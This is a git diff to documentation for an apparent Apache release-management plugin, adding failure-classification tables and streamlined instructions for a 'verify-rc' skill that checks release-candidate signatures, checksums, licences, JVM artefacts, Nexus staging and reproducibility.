diff --git a/docs/labels-and-capabilities.md b/docs/labels-and-capabilities.md index 0ecdc02d3..a8cafb388 100644 --- a/docs/labels-and-capabilities.md +++ b/docs/labels-and-capabilities.md @@ -369,8 +369,8 @@ or a contract-free mix of substrates (e.g. `tools/spec-inventory` is | [`tools/spec-status-index`](../tools/spec-status-index/) | `substrate:framework-dev` + `substrate:analytics` | Index of spec / RFC implementation status — framework-dev substrate that also doubles as a governance/stats view (`analytics`) | | [`tools/vendor-neutrality-score`](../tools/vendor-neutrality-score/) | `substrate:framework-dev` + `substrate:analytics` | Deterministic vendor-neutrality score — reads each contract tool's `**Kind:**` / `**Vendor:**` metadata and scores per-contract + per-skill neutrality (`analytics`); backs the score block in [`docs/vendor-neutrality.md`](vendor-neutrality.md) | | [`tools/spec-validator`](../tools/spec-validator/) | `substrate:framework-dev` | Spec-frontmatter and body-section validator — counterpart to `skill-and-tool-validator` for `tools/spec-loop/specs/` | -| [`tools/release-config`](../tools/release-config/) | `substrate:release` | `release-config` — loads the release-management config (`` layered lookup, defaults, derived values) and runs each `release-*` skill's deterministic Step 0 pre-flight checks as JSON; used by every `release-*` skill's Step 0 and the Step 1 metadata of `rc-cut`, `vote-draft`, `announce-draft` and `promote` | -| [`tools/release-management`](../tools/release-management/) | `substrate:release` | `release-management` — renders what the `release-*` skills hand the release manager (paste-ready command blocks, drafts, planning-issue comments) from `release-config load`, refusing a `dist/release/` staging target or an MD5 / SHA-1 digest in code; runs nothing. Used by `rc-cut` Steps 0 and 2–4 | +| [`tools/release-config`](../tools/release-config/) | `substrate:release` | `release-config` — loads the release-management config (`` layered lookup, defaults, derived values) and runs each `release-*` skill's deterministic Step 0 pre-flight checks as JSON; used by every `release-*` skill's Step 0 and the Step 1 metadata of `rc-cut`, `vote-draft`, `announce-draft`, `promote` and `verify-rc` | +| [`tools/release-management`](../tools/release-management/) | `substrate:release` | `release-management` — renders what the `release-*` skills hand the release manager (paste-ready command blocks, drafts, planning-issue comments) from `release-config load`, refusing a `dist/release/` staging target or an MD5 / SHA-1 digest in code, and classifies what `verify-rc`'s checks printed (the `release-verify` arguments, RAT, JVM artefacts, the Nexus probe, reproducibility, the report and its trusted-hardware attestation); runs nothing. Used by `rc-cut` Steps 0 and 2–4 and `verify-rc` Steps 1–10 | | [`tools/reproducible-archive`](../tools/reproducible-archive/) | `substrate:release` | `repro-archive` — build, lint and compare reproducible source archives from a git ref (`git archive` + `.gitattributes` `export-ignore`, every reproducible-builds.org archive rule applied); used by `release-rc-cut` Step 2/2b and `release-verify-rc` Step 9 | | [`tools/maven-artifact-verify`](../tools/maven-artifact-verify/) | `substrate:release` | `maven-artifact-verify` — verify locally staged JVM RC artefacts: POM ALv2 licence / developers / scm (with parent-POM inheritance resolution), podling incubation disclaimer in ``, companion `-sources.jar` / `-javadoc.jar` presence with their own signatures and checksums; used by `release-verify-rc` Step 6b | | [`tools/release-verify`](../tools/release-verify/) | `substrate:release` | `release-verify` — deterministic, read-only checks of a staged RC (inventory, signatures against the project KEYS only, checksums, NOTICE/LICENSE, prohibited binaries, dangling symlinks, version strings) and the verdict roll-up, each as JSON; used by `release-verify-rc` Steps 1–3, 5–8 and 10 | diff --git a/docs/release-management/README.md b/docs/release-management/README.md index cbd31be55..ad31bb5ed 100644 --- a/docs/release-management/README.md +++ b/docs/release-management/README.md @@ -133,7 +133,6 @@ says which file is missing. | File | What it carries | Read by | |---|---|---| | [`canned-responses.md`](../../plugins/magpie-setup/templates/canned-responses.md) | Reusable reporter-facing reply templates. | `announce-draft`, `vote-draft` | -| [`project.md`](../../plugins/magpie-setup/templates/project.md) | Project manifest. Identity, repositories, mailing lists, tools enabled, CVE tooling, GitHub project-board + issue-template field declarations. The single file every skill reads to resolve project-scoped references. | `verify-rc` | diff --git a/docs/vendor-neutrality.md b/docs/vendor-neutrality.md index 94184ac79..9efe71583 100644 --- a/docs/vendor-neutrality.md +++ b/docs/vendor-neutrality.md @@ -606,8 +606,8 @@ generated block below. | Skill neutrality | Count | |---|---| -| capability-pure (names no backend) | 25 | -| portable (named backends are swappable) | 54 | +| capability-pure (names no backend) | 26 | +| portable (named backends are swappable) | 53 | | vendor-coupled (sole-backend dependency) | 0 | Organization scope (declared, orthogonal to vendor): ASF = 16, agnostic = 63. diff --git a/plugins/magpie-release-management/skills/verify-rc/SKILL.md b/plugins/magpie-release-management/skills/verify-rc/SKILL.md index d8e2bd81a..f9d3756e4 100644 --- a/plugins/magpie-release-management/skills/verify-rc/SKILL.md +++ b/plugins/magpie-release-management/skills/verify-rc/SKILL.md @@ -21,9 +21,9 @@ when_to_use: | it. Runs standalone. argument-hint: "-rcN [--post-to ] [--skip-repro] [--trusted-hardware]" capability: capability:triage -surface_hash: sha256:50ad09c17d8d7335 +surface_hash: sha256:68f688faf6363ba7 license: Apache-2.0 -measured_tokens: 9954 +measured_tokens: 6298 --- + +# Step 0 — Pre-flight blocked + +`release-config preflight` printed a blocker, or the staging URL did not resolve. Surface it as written and stop. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Pre-flight blocked — config key missing | `release-management-config.md` or `release-build.md` lacks a required key | Add the missing key per the adopter scaffold | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-1.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-1.md new file mode 100644 index 000000000..500b3802a --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-1.md @@ -0,0 +1,11 @@ + + +# Step 1 — RC inventory + +From `release-verify inventory`. A `FAIL` is final (Golden rule 3). + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 1 FAIL — artefact missing | RC was staged incompletely | RM re-stages the missing artefact | +| Step 1 WARN — optional artefact missing | An artefact `release-build.md` marks `optional` was not staged | RM confirms the omission is intended, or stages it | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-2.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-2.md new file mode 100644 index 000000000..19c30b2fd --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-2.md @@ -0,0 +1,11 @@ + + +# Step 2 — GPG signatures + +From `release-verify signatures`. Anything but `PASS` is `FAIL` (Golden rule 3); private-key material in `KEYS` stops the skill (Golden rule 5). + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 2 FAIL — bad signature | Artefact was corrupted or signed with wrong key | RM re-signs and re-stages | +| Step 2 FAIL — key not in KEYS | Signing key not yet published | RM adds key via `release-keys-sync` (proposed) | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-3.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-3.md new file mode 100644 index 000000000..130c69b5f --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-3.md @@ -0,0 +1,12 @@ + + +# Step 3 — Checksums + +From `release-verify checksums`. md5 never fails alone. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 3 FAIL — checksum mismatch | Artefact was corrupted or a sha512 / sha256 digest file is wrong | RM regenerates artefact + digest files | +| Step 3 FAIL — `.sha512` missing | Required sha512 digest not staged | RM generates and stages the `.sha512` file | +| Step 3 WARN — `.md5` present | Deprecated md5 digest staged (matching or not) | RM drops the `.md5` file for the next RC | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-4.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-4.md new file mode 100644 index 000000000..657e0808b --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-4.md @@ -0,0 +1,11 @@ + + +# Step 4 — Apache RAT + +From `release-management verify-rc rat`. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 4 WARN — RAT config absent | `release-build.md` has no RAT config section | RM adds RAT config; do not proceed to vote without it | +| Step 4 FAIL — unapproved headers | Source file missing or incorrect licence header | RM fixes headers and cuts a new RC | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-5.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-5.md new file mode 100644 index 000000000..f7653b48c --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-5.md @@ -0,0 +1,11 @@ + + +# Step 5 — NOTICE / LICENSE + +From `release-verify notice-license`, with `REVIEW` resolved by you. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 5 FAIL — NOTICE or LICENSE absent | Source artefact build skipped packaging | RM fixes build process and cuts a new RC | +| Step 5 WARN — material diff | Licence or attribution changed vs previous release | RM reviews diff; if intentional, document in planning issue | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-6.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-6.md new file mode 100644 index 000000000..63a56c87c --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-6.md @@ -0,0 +1,11 @@ + + +# Step 6 — Binary exclusion + +From `release-verify binaries`. Any `prohibited_found` path is `FAIL`. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 6 FAIL — prohibited binary | Binary sneaked into source artefact | RM removes binary, updates `.gitattributes` or build excludes, cuts new RC | +| Step 6 FAIL — `.pyc` / `__pycache__` present | Tarball zipped from a working tree that ran tests, not exported clean from the tag | RM rebuilds via `git archive ` (never `zip -r`), cuts new RC | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-6b.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-6b.md new file mode 100644 index 000000000..28247b1a6 --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-6b.md @@ -0,0 +1,14 @@ + + +# Step 6b — JVM artefacts + +From `release-management verify-rc jvm`. Informational observations never change the status. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 6b FAIL — POM licence/developers/scm wrong | The POM does not satisfy ASF Incubator distribution policy § Maven distribution | RM fixes the POM, re-deploys, re-cuts RC | +| Step 6b FAIL — companion jar or its `.asc`/checksum missing | Maven Central requires `-sources.jar` / `-javadoc.jar` companions, each signed and checksummed; Nexus close-time validation fails without them | RM re-deploys with signed companions, re-cuts RC | +| Step 6b FAIL — companion checksum mismatch | The recorded digest does not match the companion jar's bytes (stale or corrupted checksum file) | RM re-deploys the companion set with regenerated checksums, re-cuts RC | +| Step 6b WARN — `INHERITED-UNVERIFIED` | POM element inherited from a parent POM that is not staged locally | Verify against the effective POM (`mvn help:effective-pom`); if correct, no action | +| Step 6b FAIL — jar absent but `jvm_companion_location: staged` | The RC was expected to stage its jars locally and did not | RM re-stages the jar set or corrects `release-build.md` | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-6c.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-6c.md new file mode 100644 index 000000000..5d7293590 --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-6c.md @@ -0,0 +1,16 @@ + + +# Step 6c — Nexus staging repository + +From `release-management verify-rc nexus`. GETs only: the remediation is always the RM's, in the Nexus UI or a re-deploy — the skill never closes, drops or promotes. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 6c FAIL — staging repository not reachable | The id given for this RC serves nothing (wrong id, already promoted/dropped, or never deployed) | RM re-checks the id on the planning issue and the Nexus UI, re-deploys if never staged | +| Step 6c FAIL — staging repository `open` | The close operation did not happen (or failed) before the vote | RM closes the staging repo in the Nexus UI, then re-runs verify-rc | +| Step 6c FAIL — snapshots repository targeted | The RC's jars were deployed to the snapshots repository instead of a staging repository | RM re-deploys through the staging workflow; snapshots are never a vote target | +| Step 6c FAIL — coordinates/version mismatch | The staging repository holds artefacts for a different version than the RC declares | RM re-deploys the correct version and re-checks for stale sibling repositories | +| Step 6c FAIL — `.asc` or companion missing in staging | A `.jar`/`.pom` in the staging repository has no signature, or a main jar's `-sources.jar`/`-javadoc.jar` set is incomplete | RM re-deploys the complete signed set — Nexus close-time validation would reject the promotion anyway | +| Step 6c WARN — `STATE-UNVERIFIED` | The runner has no Nexus credentials (or the sandbox refused the probe), so the authoritative `closed` state could not be read | RM verifies by hand in the Nexus UI (`stagingRepositories`); no action needed when it reads `closed` | +| Step 6c WARN — stale sibling repositories | The profile holds several staging repositories for the project (retried deploys, earlier RCs) | RM drops the stale ones after confirming which id belongs to this RC | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-7.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-7.md new file mode 100644 index 000000000..af3f34fe2 --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-7.md @@ -0,0 +1,13 @@ + + +# Step 7 — Source-tree integrity + +From `release-verify symlinks`, with `REVIEW` resolved by `release-management verify-rc source-tree`. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 7 FAIL — dangling symlink | A committed symlink's target was stripped by `export-ignore` (or is otherwise absent) | RM fixes `.gitattributes` to ship the target (or drops the symlink), cuts new RC | +| Step 7 FAIL — symlink resolves outside the archive | A committed symlink is absolute or climbs out of the tree with `..` | RM replaces it with a relative link to shipped content (or drops it), cuts new RC | +| Step 7 FAIL — broken internal reference | A shipped file links to a path stripped from the artefact | RM stops stripping the referenced path, or repoints the reference at shipped content, cuts new RC | +| Step 7 SKIP — no validators declared | `release-build.md § Source-tree validators` is empty | Fine for a project with no in-tree link or symlink checks; declare the project's own validators if it has them | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-8.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-8.md new file mode 100644 index 000000000..f70a9d6d6 --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-8.md @@ -0,0 +1,10 @@ + + +# Step 8 — Version strings + +From `release-verify version`. Any mismatch is `FAIL` (Golden rule 6). + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 8 FAIL — version mismatch | Version bump missed one manifest file | RM fixes the manifest and cuts a new RC | diff --git a/plugins/magpie-release-management/skills/verify-rc/classifications/step-9.md b/plugins/magpie-release-management/skills/verify-rc/classifications/step-9.md new file mode 100644 index 000000000..eecc55a6f --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/classifications/step-9.md @@ -0,0 +1,14 @@ + + +# Step 9 — Reproducibility + +From `release-management verify-rc repro`. `differs` and a moved tag are always `FAIL`. + +| Symptom | Likely cause | Remediation | +|---|---|---| +| Step 9 WARN — `content-identical` | RM built with a plain `git archive` or a different tool version instead of `repro-archive build` | Accept for this RC in RM-key mode; RM switches to `repro-archive build` for the next one. Under automated signing this is `FAIL` | +| Step 9 FAIL — `differs` | Artefact built from a dirty checkout, a different ref, or a non-deterministic `custom` build | `-1`; RM rebuilds at the tag from a clean checkout (`release-rc-cut` Step 2b catches this before signing) | +| Step 9 FAIL — tag moved | `` no longer points at the commit recorded on the planning issue | `-1`; the RM explains and cuts a new RC number — never re-point an RC tag | +| Step 9 FAIL — convenience artefact `DIFFERS` | The artefact is not what the voted source produces: the build embeds timestamps, host paths or an unpinned toolchain, or was built from a different tree | The artefact is not good to publish. RM honours `SOURCE_DATE_EPOCH`, pins the toolchain (`ARFLAGS=Dcvr`, `ranlib -D`), or documents the divergence under the entry's `known_divergences`; `release-promote` withholds its publish command until a verify-rc run reproduces it | +| Step 9 SKIP but `automated_release_signing: enabled` | Misconfiguration — the check cannot be skipped in that mode | Re-run without `--skip-repro`; the report refuses to carry an attestation | diff --git a/plugins/magpie-release-management/skills/verify-rc/jvm-artefacts.md b/plugins/magpie-release-management/skills/verify-rc/jvm-artefacts.md index 40d3c35f7..8d3990e5b 100644 --- a/plugins/magpie-release-management/skills/verify-rc/jvm-artefacts.md +++ b/plugins/magpie-release-management/skills/verify-rc/jvm-artefacts.md @@ -17,68 +17,41 @@ blocking checks 1–3 of [issue #1173](https://github.com/apache/magpie/issues/1 which implement [ASF Incubator distribution policy § Maven distribution](https://incubator.apache.org/guides/distribution.html) and [Maven Central's publishing requirements](https://central.sonatype.org/publish/requirements/): -1. **POM licence entry** — every `.pom` declares ALv2, `` and ``. - An element absent from the POM itself resolves against the chain of locally staged parent POMs: - the first ancestor declaring the element is judged as-is, so a staged parent carrying a non-ALv2 licence fails the child too. - An element no staged ancestor declares when the chain ends at a POM with no `` — - including a POM with no `` at all — is a `FAIL`, the same judgement Maven Central applies. - `INHERITED-UNVERIFIED` — a warning naming what to verify — is reserved for a chain that cannot be fully resolved offline; - it never fails a correct POM that inherits from the ASF parent. -2. **Incubator disclaimer in ``** — podlings only, when `--podling` is passed. - Accepts the standard disclaimer text and the `DISCLAIMER-WIP` variant, tolerating whitespace and line-wrapping. - An inherited description is judged the same way as a local one. -3. **Companion jars** — for every main jar staged locally, `-sources.jar` and `-javadoc.jar` exist - and each carries its own `.asc` and checksums, the checksums verified against the jar's actual bytes. - Offline the tool checks `.asc` presence only: - extend the paste-ready recipe with one `gpg --verify .asc ` line per companion whose `.asc` is staged - (same `KEYS` flow as Step 2) so the companions get the same signature verification as the main artefacts; - a companion with no `.asc` is already a finding and gets no line. - A main jar declared by a staged POM but not staged locally is an observation (`ABSENT`), not a failure: - in the common ASF workflow the jars are staged in the Nexus staging repository, which this step never reads - (read-only; the Nexus staging-repository check — check 4 of the issue — is Step 6c - ([`nexus-staging.md`](nexus-staging.md)), using the read-only `asf-nexus` adapter). - Classify an `ABSENT` jar against `release-build.md § JVM artefact checks` — - when that file declares `jvm_companion_location: staged`, an absent jar is a `FAIL`. +1. **POM licence entry** — every `.pom` declares ALv2, `` and ``, resolved through the locally staged parent chain. + An element no staged ancestor declares is a `FAIL`; + `INHERITED-UNVERIFIED` — a warning naming what to verify — is reserved for a chain that cannot be fully resolved offline, + and never fails a correct POM that inherits from the ASF parent. +2. **Incubator disclaimer in ``** — podlings only (`--podling`); the standard text and the `DISCLAIMER-WIP` variant both pass. +3. **Companion jars** — for every main jar staged locally, `-sources.jar` and `-javadoc.jar` exist, + each with its own `.asc` and checksums verified against the jar's bytes. + Offline the tool checks `.asc` presence only, so the recipe adds one `gpg --verify` per companion whose `.asc` is staged (same `KEYS` flow as Step 2). + A main jar declared by a staged POM but not staged locally is `ABSENT`: an observation, because the ASF workflow stages jars in Nexus (Step 6c, [`nexus-staging.md`](nexus-staging.md)) — + except under `jvm_companion_location: staged`, where it is a `FAIL`. -The same tool run emits **informational observations** — checks 5–7 of [issue #1173](https://github.com/apache/magpie/issues/1173) — -which are signals for the reviewer and never change the step's verdict: +The same run reports **informational observations** — checks 5–7 of the issue: the timestamp signal, the namespace and package/groupId correspondence, and companion content. +They are signals for the reviewer and never change the step's verdict. +They are worded "consistent / not consistent with a reproducible configuration", never "reproducible" (only Step 9 can assert that); +a groupId outside `org.apache.*` stays informational even for ASF projects (published coordinates cannot be renamed); +a placeholder companion is the Maven-Central-sanctioned pattern, never a defect; an empty or single-entry jar is `insufficient-data`, and an unopenable one `unreadable`. -5. **Timestamp reproducibility signal** — whether every file entry of a main jar shares one timestamp (consistent with - `project.build.outputTimestamp` being set) or varies across entries. Worded as "consistent / not consistent with a - reproducible configuration", never as "reproducible" — only Step 9's rebuild-and-compare can assert that. An empty or - single-entry jar reports `insufficient-data`, never a pass. -6. **Namespace and package/groupId correspondence** — whether the declared `groupId` sits under `org.apache.*` (informational even - for ASF top-level projects: published coordinates cannot be renamed retroactively, so there is no available remedy to gate on), - and the proportion of the jar's class entries under the package path derived from the groupId plus the package roots actually - found — a proportion and a list for the reviewer to judge, never a boolean. `META-INF/` entries, `module-info.class` and - multi-release overrides are excluded as legitimate divergences. Most useful for podlings, where it surfaces whether the - `org.apache.` rename has happened. -7. **Companion content sanity** — whether `-sources.jar` carries `.java` / `.scala` / `.kt` sources and no `.class` files, and - whether `-javadoc.jar` is non-empty. Placeholder companions are a Maven-Central-sanctioned pattern, reported as such and never - failed; no Javadoc-specific structure is asserted (Scala/Kotlin projects publish dokka/scaladoc output under the `-javadoc` - classifier). Classified jars (`-tests`, `-shaded`, …) are not part of the required set and are not inspected. - - A jar that cannot be opened at all — truncated, corrupt central directory, undecodable entry names — yields an `unreadable` - observation in each affected section and never takes the run down: check 3 never opens a jar, so a damaged jar with a valid - signature and checksum can pass the blocking checks while the observations report that its contents could not be read. - -Emit the paste-ready recipe. -Resolve every placeholder to a concrete value: -`` is the framework root (`.apache-magpie` in an adopter repository), -`` is the local directory holding the staged RC artefacts, -`` is the `jvm_digest_set` key of `release-build.md § JVM artefact checks` when it is set, -otherwise the § Digest set (comma-separated, default `sha512`), -and pass `--podling` **only** when the unpacked source artefact ships a `DISCLAIMER` or `DISCLAIMER-WIP` file at its root — -that is the podling signal this step uses until the `project_stage` plumbing lands. +**Run.** The gate, the recipe and the classification are one command +(`` as in SKILL.md; `` is Step 1's saved JSON): ```bash -uv run --project /tools/maven-artifact-verify \ - maven-artifact-verify "" --digests [--podling] -# without uv: -# python3 /tools/maven-artifact-verify/src/maven_artifact_verify/__init__.py ... + jvm --inventory --staged-dir --tree ``` -The step never modifies anything: the tool is offline and reads the staged directory only, so any voter may run it. +It prints `SKIP` with `skip_reason` when the gate fails; +otherwise `paste_recipe`, the `maven-artifact-verify` run with `--digests` from `jvm_digest_set` (else the § Digest set, default `sha512`) +and `--podling` **only** when the unpacked source artefact ships a `DISCLAIMER` or `DISCLAIMER-WIP` at its root. +Run it (offline, read-only: any voter may), save the JSON report, and re-run the command with `--report `: +the output is this step's JSON, the recipe now carrying the companion `gpg --verify` lines. + +`status` is the tool report's `status`, except that an `ABSENT` jar becomes `FAIL` under `jvm_companion_location: staged`. +`pom_findings` and `companion_findings` list only the checks that did not pass (`FAIL`, `INHERITED-UNVERIFIED`, `ABSENT`), one line each naming the artefact and what is wrong; +an empty list means there is nothing to report. +`observations` carries checks 5–7, one line each naming the jar; an empty list means the staged set carried none. +A jar whose timestamps vary, whose groupId sits outside `org.apache.*`, or whose `-sources.jar` contains `.class` files still passes every blocking check. Return ONLY valid JSON with this structure: @@ -93,16 +66,3 @@ Return ONLY valid JSON with this structure: "paste_recipe": "" } ``` - -`pom_findings` and `companion_findings` list only the checks that did not pass (`FAIL`, `INHERITED-UNVERIFIED`, `ABSENT`), -one line each naming the artefact and what is wrong; -a passing check is not a finding, and an empty list means there is nothing to report. - -`observations` carries the tool's informational observations (checks 5–7), one line each naming the jar and what was observed; -an empty list means the staged set carried none. They never change `status`: a jar whose timestamps vary, whose groupId sits -outside `org.apache.*`, or whose `-sources.jar` contains `.class` files still passes every blocking check. - -`status` is the tool report's `status`, -except that an `ABSENT` jar becomes `FAIL` when `release-build.md § JVM artefact checks` declares `jvm_companion_location: staged` -(the RC was expected to stage it). -`SKIP` when no jars or POMs are staged, or when the section declares `jvm_artefact_checks: off`. diff --git a/plugins/magpie-release-management/skills/verify-rc/nexus-staging.md b/plugins/magpie-release-management/skills/verify-rc/nexus-staging.md index 4042bdfac..0c82832aa 100644 --- a/plugins/magpie-release-management/skills/verify-rc/nexus-staging.md +++ b/plugins/magpie-release-management/skills/verify-rc/nexus-staging.md @@ -3,34 +3,6 @@ # Step 6c — Nexus staging repository (ASF projects publishing Maven artefacts) -**When it runs.** Only when all of these hold; otherwise skip this -step cleanly and state the skip explicitly, do not silently pass: - -- the Step 1 listing contains at least one `.jar` or `.pom` - (JVM-only — a Python or Rust ASF project has no staging repository - and must not be warned about one); -- `release-build.md § JVM artefact checks` does not declare - `jvm_artefact_checks: off`; -- 🪶 ASF-specific: the resolved `organization` of the adopter - (`/project.md` → `organization`, the same chain - Step 9's automated-signing gate reads) is `ASF` — - `repository.apache.org` is ASF infrastructure, and a non-ASF - adopter has nothing to probe; -- a staging repository id is resolvable, in this order: the - `nexus_staging_repo` key of `release-build.md § JVM artefact - checks`; then the planning issue body when `--post-to` was passed - (look for a `nexus-staging-repo:` or staging-repository URL line). - Nexus assigns the id (`orgapache-NNNN`) at deploy time and - it cannot be predicted, so an unresolvable id is a clean `SKIP` - naming where to supply it — never a guess. The resolved id is then - validated before it reaches a URL: it must match the Nexus shape - (`orgapache-NNNN`, digits and lowercase only) — the - planning issue body is content the step reads, and the id is - spliced into `curl` URLs the agent runs itself. A value that does - not match is a `SKIP` naming the bad value, never a probe; the - literal `snapshots` passes validation and is then flagged by the - classification rules. - Step 6b verified the jars and POMs staged **locally**. For an ASF JVM project the jars downstream consumers actually resolve are staged in the Nexus staging repository at `repository.apache.org` and promoted @@ -43,9 +15,16 @@ version match the RC under vote, and every artefact in it carries its `.asc` signature and checksums with a complete companion set. The endpoint contract and recipes are the adapter's [`operations.md`](../../../../tools/asf-nexus/operations.md); the -classification rules below are its -[`staging-verification.md`](../../../../tools/asf-nexus/staging-verification.md) -in short form. +classification rules are its +[`staging-verification.md`](../../../../tools/asf-nexus/staging-verification.md), +implemented in `release-management verify-rc nexus`. + +**Golden rule:** this step performs read-only `GET`s against +`repository.apache.org`, nothing else. It never closes, drops, or +promotes a staging repository — a promotion is irreversible (promoted +artefacts sync to Maven Central, where they are immutable), and any +voter, including one with no karma on the target repository, must be +able to run this step. **Credentials and the sandbox.** The authenticated staging-API reads need ASF Nexus credentials stored as a netrc-format file at @@ -53,7 +32,7 @@ need ASF Nexus credentials stored as a netrc-format file at repository.apache.org login password `, `chmod 600` — never a `-u user:pass` on the command line, which exposes the password in `ps` and transcripts). `~/.config/` is denied to the -sandboxed agent by design, so these two recipes are for the RM to +sandboxed agent by design, so those recipes are for the RM to paste into their **own** terminal; the agent's own run takes the anonymous path and reports `STATE-UNVERIFIED` for the state question. That is the expected voter shape, not a verification failure — and a @@ -62,19 +41,36 @@ machine) is likewise reported as `STATE-UNVERIFIED` / not-probed, never as "repository not reachable": one says "the runner could not see", the other says "nothing is there". -Emit the paste-ready recipe per the adapter's recipes with every -placeholder resolved: `` is the staging repository id resolved -above; the anonymous existence check and the artefact-inventory crawl -run for every runner; the authenticated state check and the -profile-wide listing run only for an RM pasting into their own -terminal. +**Run.** The gates, the recipe and the classification are one command +(`` as in SKILL.md; `` is Step 1's saved JSON): -**Golden rule:** this step performs read-only `GET`s against -`repository.apache.org`, nothing else. It never closes, drops, or -promotes a staging repository — a promotion is irreversible (promoted -artefacts sync to Maven Central, where they are immutable), and any -voter, including one with no karma on the target repository, must be -able to run this step. +```bash + nexus --inventory [--issue-body ] [--rm-credentials] +``` + +Pass `--issue-body` only when `--post-to` was passed, and `--rm-credentials` only when the RM runs the authenticated recipes in their own terminal. +The command checks the gates in order and prints an explicit `SKIP` naming the reason when one fails: +no `.jar` / `.pom` in the Step 1 listing (JVM-only — a Python or Rust ASF project must not be warned about a staging repository); +`jvm_artefact_checks: off`; 🪶 an `organization` other than `ASF` (`repository.apache.org` is ASF infrastructure); +no staging repository id (the `nexus_staging_repo` key of `release-build.md § JVM artefact checks`, then a `nexus-staging-repo:` or staging-repository URL line on the planning issue — +Nexus assigns the id at deploy time, so an unresolvable id is a `SKIP` naming where to supply it, never a guess); +or an id that does not match the Nexus shape `orgapache-NNNN` (digits and lowercase only). +That last gate protects the URLs: the planning issue body is content the step reads, and the id is spliced into the `curl` URLs you run, +so a malformed value is a `SKIP` recording the rejected value in `nexus_findings`, never a probe; the literal `snapshots` passes and is then a finding. + +Otherwise `paste_recipe` holds the probe with the id resolved: the anonymous existence check and the artefact-inventory crawl for every runner, +plus the authenticated state check and the profile-wide listing with `--rm-credentials`. +Run it, save each output, and re-run the command with them to classify: +`--existence-code `, `--crawl `, and with `--rm-credentials` also `--state ` and `--profile `; +pass `--not-probed` instead when the sandbox refused the probe. + +The command's JSON is this step's: `FAIL` on any hard finding — +not reachable at the id given for this RC (`404`), `open` (still mutable; never conflated with not-reachable), +the snapshots repository targeted, coordinates or version other than the RC's plain release version (the `-rcN` suffix lives in the dist path and tag), +a `.jar` / `.pom` with no sibling `.asc`, or a main jar's incomplete companion set (`packaging=pom` modules exempt; other classifiers neither expected nor flagged); +`WARN` when only `STATE-UNVERIFIED` or stale-sibling findings remain; `PASS` otherwise. +`staging_repos` lists every staging repository surfaced, ordered by id — never silently pick one when there are several; +`matches_rc` is `null` when the inventory could not be read (not probed, or an existence code other than `200` / `404`). Return ONLY valid JSON with this structure: @@ -89,30 +85,3 @@ Return ONLY valid JSON with this structure: "paste_recipe": "" } ``` - -`staging_repos` lists every staging repository surfaced for the -project — a single entry on the anonymous path, one per sibling on -the authenticated path, ordered by repository id ascending; never -silently pick one when there are several. `nexus_findings` carries only hard findings and warnings, -one line each naming the repository or artefact and what is wrong; an -empty list means nothing to report. A `SKIP` leaves it empty, except -a `SKIP` for a malformed staging repository id, which records the -rejected value as one line so the RM sees what to correct. - -`status` is `FAIL` on any hard finding: repository not reachable at -the id given for this RC (`404` — stated factually as "not reachable -at the id given for this RC"); repository `open` (still mutable — not -a valid vote target; distinct from not-reachable, never conflated -with it); the snapshots repository targeted -(`content/repositories/snapshots/` is never a valid vote target, -whatever the version string claims); coordinates or version mismatch -against the RC's declared release version (the plain version carried -by the staged POMs — the `-rcN` suffix lives in the dist path and -tag, not in the Maven version); a `.jar` or `.pom` in the inventory -with no sibling `.asc`; a main jar whose `-sources.jar` / -`-javadoc.jar` companion (or its `.asc` / checksum companion) is -absent from the inventory — `packaging=pom` modules are exempt, and -other classifiers (`-tests`, `-shaded`, `-linux-x86_64`, …) are -neither expected nor flagged. `WARN` when only `STATE-UNVERIFIED` or -stale-sibling findings remain. `PASS` otherwise. `SKIP` per the gates -above. diff --git a/plugins/magpie-release-management/skills/verify-rc/prerequisites.md b/plugins/magpie-release-management/skills/verify-rc/prerequisites.md new file mode 100644 index 000000000..0d648972d --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/prerequisites.md @@ -0,0 +1,24 @@ + + +# release-verify-rc — prerequisites + +- **`/release-management-config.md` readable** — + `keys_file_url`, `release_dist_url_template`, `version_manifest_files`; + `keyserver` is optional (default `keys.openpgp.org`). +- **`/release-build.md` readable** — + expected artefact list, digest set, binary-exclude list, 